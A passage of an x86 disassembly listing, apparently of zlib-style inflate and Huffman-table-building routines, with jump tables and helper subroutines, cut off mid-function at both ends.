		mov	edx, [ecx+30h]
		sub	edx, [ebp+var_8]
		sub	edx, 1
		mov	[ebp+var_7C], edx
		jmp	short loc_42C38C
; ---------------------------------------------------------------------------


loc_42C380:				; CODE XREF: sub_42B1FD+1170j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2Ch]
		sub	ecx, [ebp+var_8]
		mov	[ebp+var_7C], ecx


loc_42C38C:				; CODE XREF: sub_42B1FD+1181j
		mov	edx, [ebp+var_7C]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax+30h]
		cmp	edx, [ecx+34h]
		jz	short loc_42C3FB
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_14]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42C529
; ---------------------------------------------------------------------------


loc_42C3FB:				; CODE XREF: sub_42B1FD+11A1j
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 8


loc_42C404:				; CODE XREF: sub_42B1FD+75j
					; DATA XREF: TEUm:0042C54Do
		mov	[ebp+arg_8], 1
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42C529
; ---------------------------------------------------------------------------


loc_42C466:				; CODE XREF: sub_42B1FD+75j
					; DATA XREF: TEUm:0042C551o
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	short loc_42C529
; ---------------------------------------------------------------------------


loc_42C4C5:				; CODE XREF: sub_42B1FD+6Cj
		mov	[ebp+arg_8], 0FFFFFFFEh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	short loc_42C529
; ---------------------------------------------------------------------------


loc_42C524:				; CODE XREF: sub_42B1FD:loc_42B501j
					; sub_42B1FD+487j ...
		jmp	loc_42B25D
; ---------------------------------------------------------------------------


loc_42C529:				; CODE XREF: sub_42B1FD+EBj
					; sub_42B1FD+238j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42B1FD	endp

; ---------------------------------------------------------------------------
off_42C52D	dd offset loc_42B279	; DATA XREF: sub_42B1FD+75r
		dd offset loc_42B506
		dd offset loc_42B689
		dd offset loc_42B8EE
		dd offset loc_42BAFD
		dd offset loc_42BD0E
		dd offset loc_42C22F
		dd offset loc_42C33B
		dd offset loc_42C404
		dd offset loc_42C466
off_42C555	dd offset loc_42B354	; DATA XREF: sub_42B1FD+150r
		dd offset loc_42B391
		dd offset loc_42B45A
		dd offset loc_42B47A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C565	proc near		; CODE XREF: sub_42DCDC+3Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42B04E
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+28h]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_4]
		call	dword ptr [eax+24h]
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_4]
		call	dword ptr [edx+24h]
		add	esp, 8
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_4]
		call	dword ptr [eax+24h]
		add	esp, 8
		xor	eax, eax
		pop	ebp
		retn
sub_42C565	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C5C0	proc near		; CODE XREF: sub_42CE8E+51p
					; sub_42CF36+62p ...

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_F0		= dword	ptr -0F0h
var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= byte ptr -0D8h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		lea	eax, [ebp+var_54]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_EC], ecx


loc_42C6FE:				; CODE XREF: sub_42C5C0+172j
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	ecx, [ebp+eax*4+var_54]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	[ebp+eax*4+var_54], ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_EC]
		sub	edx, 1
		mov	[ebp+var_EC], edx
		cmp	[ebp+var_EC], 0
		jnz	short loc_42C6FE
		mov	eax, [ebp+var_54]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_42C755
		mov	ecx, [ebp+arg_14]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+arg_18]
		mov	dword ptr [edx], 0
		xor	eax, eax
		jmp	loc_42CE8A
; ---------------------------------------------------------------------------


loc_42C755:				; CODE XREF: sub_42C5C0+17Aj
		mov	eax, [ebp+arg_18]
		mov	ecx, [eax]
		mov	[ebp+var_100], ecx
		mov	[ebp+var_F4], 1
		jmp	short loc_42C77B
; ---------------------------------------------------------------------------


loc_42C76C:				; CODE XREF: sub_42C5C0:loc_42C793j
		mov	edx, [ebp+var_F4]
		add	edx, 1
		mov	[ebp+var_F4], edx


loc_42C77B:				; CODE XREF: sub_42C5C0+1AAj
		cmp	[ebp+var_F4], 0Fh
		ja	short loc_42C795
		mov	eax, [ebp+var_F4]
		cmp	[ebp+eax*4+var_54], 0
		jz	short loc_42C793
		jmp	short loc_42C795
; ---------------------------------------------------------------------------


loc_42C793:				; CODE XREF: sub_42C5C0+1CFj
		jmp	short loc_42C76C
; ---------------------------------------------------------------------------


loc_42C795:				; CODE XREF: sub_42C5C0+1C2j
					; sub_42C5C0+1D1j
		mov	ecx, [ebp+var_F4]
		mov	[ebp+var_FC], ecx
		mov	edx, [ebp+var_100]
		cmp	edx, [ebp+var_F4]
		jnb	short loc_42C7BB
		mov	eax, [ebp+var_F4]
		mov	[ebp+var_100], eax


loc_42C7BB:				; CODE XREF: sub_42C5C0+1EDj
		mov	[ebp+var_EC], 0Fh
		jmp	short loc_42C7D6
; ---------------------------------------------------------------------------


loc_42C7C7:				; CODE XREF: sub_42C5C0:loc_42C7EEj
		mov	ecx, [ebp+var_EC]
		sub	ecx, 1
		mov	[ebp+var_EC], ecx


loc_42C7D6:				; CODE XREF: sub_42C5C0+205j
		cmp	[ebp+var_EC], 0
		jz	short loc_42C7F0
		mov	edx, [ebp+var_EC]
		cmp	[ebp+edx*4+var_54], 0
		jz	short loc_42C7EE
		jmp	short loc_42C7F0
; ---------------------------------------------------------------------------


loc_42C7EE:				; CODE XREF: sub_42C5C0+22Aj
		jmp	short loc_42C7C7
; ---------------------------------------------------------------------------


loc_42C7F0:				; CODE XREF: sub_42C5C0+21Dj
					; sub_42C5C0+22Cj
		mov	eax, [ebp+var_EC]
		mov	[ebp+var_A0], eax
		mov	ecx, [ebp+var_100]
		cmp	ecx, [ebp+var_EC]
		jbe	short loc_42C816
		mov	edx, [ebp+var_EC]
		mov	[ebp+var_100], edx


loc_42C816:				; CODE XREF: sub_42C5C0+248j
		mov	eax, [ebp+arg_18]
		mov	ecx, [ebp+var_100]
		mov	[eax], ecx
		mov	edx, 1
		mov	ecx, [ebp+var_F4]
		shl	edx, cl
		mov	[ebp+var_E8], edx
		jmp	short loc_42C853
; ---------------------------------------------------------------------------


loc_42C836:				; CODE XREF: sub_42C5C0:loc_42C88Aj
		mov	eax, [ebp+var_F4]
		add	eax, 1
		mov	[ebp+var_F4], eax
		mov	ecx, [ebp+var_E8]
		shl	ecx, 1
		mov	[ebp+var_E8], ecx


loc_42C853:				; CODE XREF: sub_42C5C0+274j
		mov	edx, [ebp+var_F4]
		cmp	edx, [ebp+var_EC]
		jnb	short loc_42C88C
		mov	eax, [ebp+var_F4]
		mov	ecx, [ebp+var_E8]
		sub	ecx, [ebp+eax*4+var_54]
		mov	[ebp+var_E8], ecx
		cmp	[ebp+var_E8], 0
		jge	short loc_42C88A
		mov	eax, 0FFFFFFFDh
		jmp	loc_42CE8A
; ---------------------------------------------------------------------------


loc_42C88A:				; CODE XREF: sub_42C5C0+2BEj
		jmp	short loc_42C836
; ---------------------------------------------------------------------------


loc_42C88C:				; CODE XREF: sub_42C5C0+29Fj
		mov	edx, [ebp+var_EC]
		mov	eax, [ebp+var_E8]
		sub	eax, [ebp+edx*4+var_54]
		mov	[ebp+var_E8], eax
		cmp	[ebp+var_E8], 0
		jge	short loc_42C8B5
		mov	eax, 0FFFFFFFDh
		jmp	loc_42CE8A
; ---------------------------------------------------------------------------


loc_42C8B5:				; CODE XREF: sub_42C5C0+2E9j
		mov	ecx, [ebp+var_EC]
		mov	edx, [ebp+ecx*4+var_54]
		add	edx, [ebp+var_E8]
		mov	eax, [ebp+var_EC]
		mov	[ebp+eax*4+var_54], edx
		mov	[ebp+var_F4], 0
		mov	ecx, [ebp+var_F4]
		mov	[ebp+var_DC], ecx
		lea	edx, [ebp+var_50]
		mov	[ebp+var_4], edx
		lea	eax, [ebp+var_D8]
		mov	[ebp+var_98], eax


loc_42C8F7:				; CODE XREF: sub_42C5C0+386j
		mov	ecx, [ebp+var_EC]
		sub	ecx, 1
		mov	[ebp+var_EC], ecx
		cmp	[ebp+var_EC], 0
		jz	short loc_42C948
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_F4]
		add	eax, [edx]
		mov	[ebp+var_F4], eax
		mov	ecx, [ebp+var_98]
		mov	edx, [ebp+var_F4]
		mov	[ecx], edx
		mov	eax, [ebp+var_98]
		add	eax, 4
		mov	[ebp+var_98], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		jmp	short loc_42C8F7
; ---------------------------------------------------------------------------


loc_42C948:				; CODE XREF: sub_42C5C0+34Dj
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		mov	[ebp+var_EC], 0


loc_42C958:				; CODE XREF: sub_42C5C0+404j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	[ebp+var_F4], ecx
		mov	edx, [ebp+var_F4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		test	edx, edx
		jz	short loc_42C9AC
		mov	ecx, [ebp+var_F4]
		mov	edx, [ebp+ecx*4+var_E0]
		mov	eax, [ebp+arg_24]
		mov	ecx, [ebp+var_EC]
		mov	[eax+edx*4], ecx
		mov	edx, [ebp+var_F4]
		mov	eax, [ebp+edx*4+var_E0]
		add	eax, 1
		mov	ecx, [ebp+var_F4]
		mov	[ebp+ecx*4+var_E0], eax


loc_42C9AC:				; CODE XREF: sub_42C5C0+3B4j
		mov	edx, [ebp+var_EC]
		add	edx, 1
		mov	[ebp+var_EC], edx
		mov	eax, [ebp+var_EC]
		cmp	eax, [ebp+arg_4]
		jb	short loc_42C958
		mov	ecx, [ebp+var_A0]
		mov	edx, [ebp+ecx*4+var_E0]
		mov	[ebp+arg_4], edx
		mov	[ebp+var_EC], 0
		mov	eax, [ebp+var_EC]
		mov	[ebp+var_E0], eax
		mov	ecx, [ebp+arg_24]
		mov	[ebp+var_4], ecx
		mov	[ebp+var_E4], 0FFFFFFFFh
		mov	edx, [ebp+var_100]
		neg	edx
		mov	[ebp+var_9C], edx
		mov	[ebp+var_90], 0
		mov	[ebp+var_8], 0
		mov	[ebp+var_F0], 0
		jmp	short loc_42CA36
; ---------------------------------------------------------------------------


loc_42CA27:				; CODE XREF: sub_42C5C0:loc_42CE57j
		mov	eax, [ebp+var_FC]
		add	eax, 1
		mov	[ebp+var_FC], eax


loc_42CA36:				; CODE XREF: sub_42C5C0+465j
		mov	ecx, [ebp+var_FC]
		cmp	ecx, [ebp+var_A0]
		jg	loc_42CE5C
		mov	edx, [ebp+var_FC]
		mov	eax, [ebp+edx*4+var_54]
		mov	[ebp+var_C], eax


loc_42CA55:				; CODE XREF: sub_42C5C0:loc_42CE52j
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx
		test	ecx, ecx
		jz	loc_42CE57


loc_42CA69:				; CODE XREF: sub_42C5C0:loc_42CC9Fj
		mov	eax, [ebp+var_9C]
		add	eax, [ebp+var_100]
		cmp	[ebp+var_FC], eax
		jle	loc_42CCA4
		mov	ecx, [ebp+var_E4]
		add	ecx, 1
		mov	[ebp+var_E4], ecx
		mov	edx, [ebp+var_9C]
		add	edx, [ebp+var_100]
		mov	[ebp+var_9C], edx
		mov	eax, [ebp+var_A0]
		sub	eax, [ebp+var_9C]
		mov	[ebp+var_F0], eax
		mov	ecx, [ebp+var_F0]
		cmp	ecx, [ebp+var_100]
		jbe	short loc_42CAD0
		mov	edx, [ebp+var_100]
		mov	[ebp+var_104], edx
		jmp	short loc_42CADC
; ---------------------------------------------------------------------------


loc_42CAD0:				; CODE XREF: sub_42C5C0+500j
		mov	eax, [ebp+var_F0]
		mov	[ebp+var_104], eax


loc_42CADC:				; CODE XREF: sub_42C5C0+50Ej
		mov	ecx, [ebp+var_104]
		mov	[ebp+var_F0], ecx
		mov	edx, [ebp+var_FC]
		sub	edx, [ebp+var_9C]
		mov	[ebp+var_F4], edx
		mov	eax, 1
		mov	ecx, [ebp+var_F4]
		shl	eax, cl
		mov	[ebp+var_94], eax
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		cmp	[ebp+var_94], ecx
		jbe	loc_42CBB3
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	eax, [ebp+var_94]
		sub	eax, edx
		mov	[ebp+var_94], eax
		mov	ecx, [ebp+var_FC]
		lea	edx, [ebp+ecx*4+var_54]
		mov	[ebp+var_98], edx
		mov	eax, [ebp+var_F4]
		cmp	eax, [ebp+var_F0]
		jnb	short loc_42CBB3


loc_42CB51:				; CODE XREF: sub_42C5C0+5F1j
		mov	ecx, [ebp+var_F4]
		add	ecx, 1
		mov	[ebp+var_F4], ecx
		mov	edx, [ebp+var_F4]
		cmp	edx, [ebp+var_F0]
		jnb	short loc_42CBB3
		mov	eax, [ebp+var_94]
		shl	eax, 1
		mov	[ebp+var_94], eax
		mov	ecx, [ebp+var_98]
		add	ecx, 4
		mov	[ebp+var_98], ecx
		mov	edx, [ebp+var_98]
		mov	eax, [ebp+var_94]
		cmp	eax, [edx]
		ja	short loc_42CB9D
		jmp	short loc_42CBB3
; ---------------------------------------------------------------------------


loc_42CB9D:				; CODE XREF: sub_42C5C0+5D9j
		mov	ecx, [ebp+var_98]
		mov	edx, [ebp+var_94]
		sub	edx, [ecx]
		mov	[ebp+var_94], edx
		jmp	short loc_42CB51
; ---------------------------------------------------------------------------


loc_42CBB3:				; CODE XREF: sub_42C5C0+559j
					; sub_42C5C0+58Fj ...
		mov	eax, 1
		mov	ecx, [ebp+var_F4]
		shl	eax, cl
		mov	[ebp+var_F0], eax
		mov	ecx, [ebp+arg_20]
		mov	edx, [ecx]
		add	edx, [ebp+var_F0]
		cmp	edx, 5A0h
		jbe	short loc_42CBE3
		mov	eax, 0FFFFFFFCh
		jmp	loc_42CE8A
; ---------------------------------------------------------------------------


loc_42CBE3:				; CODE XREF: sub_42C5C0+617j
		mov	eax, [ebp+arg_20]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_1C]
		lea	eax, [edx+ecx*8]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_E4]
		mov	edx, [ebp+var_8]
		mov	[ebp+ecx*4+var_90], edx
		mov	eax, [ebp+arg_20]
		mov	ecx, [eax]
		add	ecx, [ebp+var_F0]
		mov	edx, [ebp+arg_20]
		mov	[edx], ecx
		cmp	[ebp+var_E4], 0
		jz	short loc_42CC97
		mov	eax, [ebp+var_E4]
		mov	ecx, [ebp+var_EC]
		mov	[ebp+eax*4+var_E0], ecx
		mov	dl, byte ptr [ebp+var_100]
		mov	byte ptr [ebp+var_14+1], dl
		mov	al, byte ptr [ebp+var_F4]
		mov	byte ptr [ebp+var_14], al
		mov	ecx, [ebp+var_9C]
		sub	ecx, [ebp+var_100]
		mov	edx, [ebp+var_EC]
		shr	edx, cl
		mov	[ebp+var_F4], edx
		mov	eax, [ebp+var_E4]
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+eax*4+var_94]
		sar	ecx, 3
		sub	ecx, [ebp+var_F4]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_E4]
		mov	eax, [ebp+edx*4+var_94]
		mov	ecx, [ebp+var_F4]
		mov	edx, [ebp+var_14]
		mov	[eax+ecx*8], edx
		mov	edx, [ebp+var_10]
		mov	[eax+ecx*8+4], edx
		jmp	short loc_42CC9F
; ---------------------------------------------------------------------------


loc_42CC97:				; CODE XREF: sub_42C5C0+658j
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx


loc_42CC9F:				; CODE XREF: sub_42C5C0+6D5j
		jmp	loc_42CA69
; ---------------------------------------------------------------------------


loc_42CCA4:				; CODE XREF: sub_42C5C0+4BBj
		mov	edx, [ebp+var_FC]
		sub	edx, [ebp+var_9C]
		mov	byte ptr [ebp+var_14+1], dl
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_24]
		lea	edx, [ecx+eax*4]
		cmp	[ebp+var_4], edx
		jb	short loc_42CCC7
		mov	byte ptr [ebp+var_14], 0C0h
		jmp	short loc_42CD25
; ---------------------------------------------------------------------------


loc_42CCC7:				; CODE XREF: sub_42C5C0+6FFj
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_42CCF7
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 100h
		sbb	eax, eax
		and	al, 0A0h
		add	eax, 60h
		mov	byte ptr [ebp+var_14], al
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		jmp	short loc_42CD25
; ---------------------------------------------------------------------------


loc_42CCF7:				; CODE XREF: sub_42C5C0+70Fj
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		sub	edx, [ebp+arg_8]
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+edx*4]
		add	ecx, 50h
		mov	byte ptr [ebp+var_14], cl
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		sub	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+eax*4]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax


loc_42CD25:				; CODE XREF: sub_42C5C0+705j
					; sub_42C5C0+735j
		mov	ecx, [ebp+var_FC]
		sub	ecx, [ebp+var_9C]
		mov	edx, 1
		shl	edx, cl
		mov	[ebp+var_94], edx
		mov	eax, [ebp+var_EC]
		mov	ecx, [ebp+var_9C]
		shr	eax, cl
		mov	[ebp+var_F4], eax
		jmp	short loc_42CD66
; ---------------------------------------------------------------------------


loc_42CD54:				; CODE XREF: sub_42C5C0+7CAj
		mov	ecx, [ebp+var_F4]
		add	ecx, [ebp+var_94]
		mov	[ebp+var_F4], ecx


loc_42CD66:				; CODE XREF: sub_42C5C0+792j
		mov	edx, [ebp+var_F4]
		cmp	edx, [ebp+var_F0]
		jnb	short loc_42CD8C
		mov	eax, [ebp+var_F4]
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_14]
		mov	[ecx+eax*8], edx
		mov	edx, [ebp+var_10]
		mov	[ecx+eax*8+4], edx
		jmp	short loc_42CD54
; ---------------------------------------------------------------------------


loc_42CD8C:				; CODE XREF: sub_42C5C0+7B2j
		mov	ecx, [ebp+var_FC]
		sub	ecx, 1
		mov	eax, 1
		shl	eax, cl
		mov	[ebp+var_F4], eax
		jmp	short loc_42CDB2
; ---------------------------------------------------------------------------


loc_42CDA4:				; CODE XREF: sub_42C5C0+814j
		mov	ecx, [ebp+var_F4]
		shr	ecx, 1
		mov	[ebp+var_F4], ecx


loc_42CDB2:				; CODE XREF: sub_42C5C0+7E2j
		mov	edx, [ebp+var_EC]
		and	edx, [ebp+var_F4]
		test	edx, edx
		jz	short loc_42CDD6
		mov	eax, [ebp+var_EC]
		xor	eax, [ebp+var_F4]
		mov	[ebp+var_EC], eax
		jmp	short loc_42CDA4
; ---------------------------------------------------------------------------


loc_42CDD6:				; CODE XREF: sub_42C5C0+800j
		mov	ecx, [ebp+var_EC]
		xor	ecx, [ebp+var_F4]
		mov	[ebp+var_EC], ecx
		mov	edx, 1
		mov	ecx, [ebp+var_9C]
		shl	edx, cl
		sub	edx, 1
		mov	[ebp+var_F8], edx


loc_42CDFE:				; CODE XREF: sub_42C5C0+890j
		mov	eax, [ebp+var_EC]
		and	eax, [ebp+var_F8]
		mov	ecx, [ebp+var_E4]
		cmp	eax, [ebp+ecx*4+var_E0]
		jz	short loc_42CE52
		mov	edx, [ebp+var_E4]
		sub	edx, 1
		mov	[ebp+var_E4], edx
		mov	eax, [ebp+var_9C]
		sub	eax, [ebp+var_100]
		mov	[ebp+var_9C], eax
		mov	edx, 1
		mov	ecx, [ebp+var_9C]
		shl	edx, cl
		sub	edx, 1
		mov	[ebp+var_F8], edx
		jmp	short loc_42CDFE
; ---------------------------------------------------------------------------


loc_42CE52:				; CODE XREF: sub_42C5C0+857j
		jmp	loc_42CA55
; ---------------------------------------------------------------------------


loc_42CE57:				; CODE XREF: sub_42C5C0+4A3j
		jmp	loc_42CA27
; ---------------------------------------------------------------------------


loc_42CE5C:				; CODE XREF: sub_42C5C0+482j
		cmp	[ebp+var_E8], 0
		jz	short loc_42CE7A
		cmp	[ebp+var_A0], 1
		jz	short loc_42CE7A
		mov	[ebp+var_108], 0FFFFFFFBh
		jmp	short loc_42CE84
; ---------------------------------------------------------------------------


loc_42CE7A:				; CODE XREF: sub_42C5C0+8A3j
					; sub_42C5C0+8ACj
		mov	[ebp+var_108], 0


loc_42CE84:				; CODE XREF: sub_42C5C0+8B8j
		mov	eax, [ebp+var_108]


loc_42CE8A:				; CODE XREF: sub_42C5C0+190j
					; sub_42C5C0+2C5j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42C5C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CE8E	proc near		; CODE XREF: sub_42B1FD+A62p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
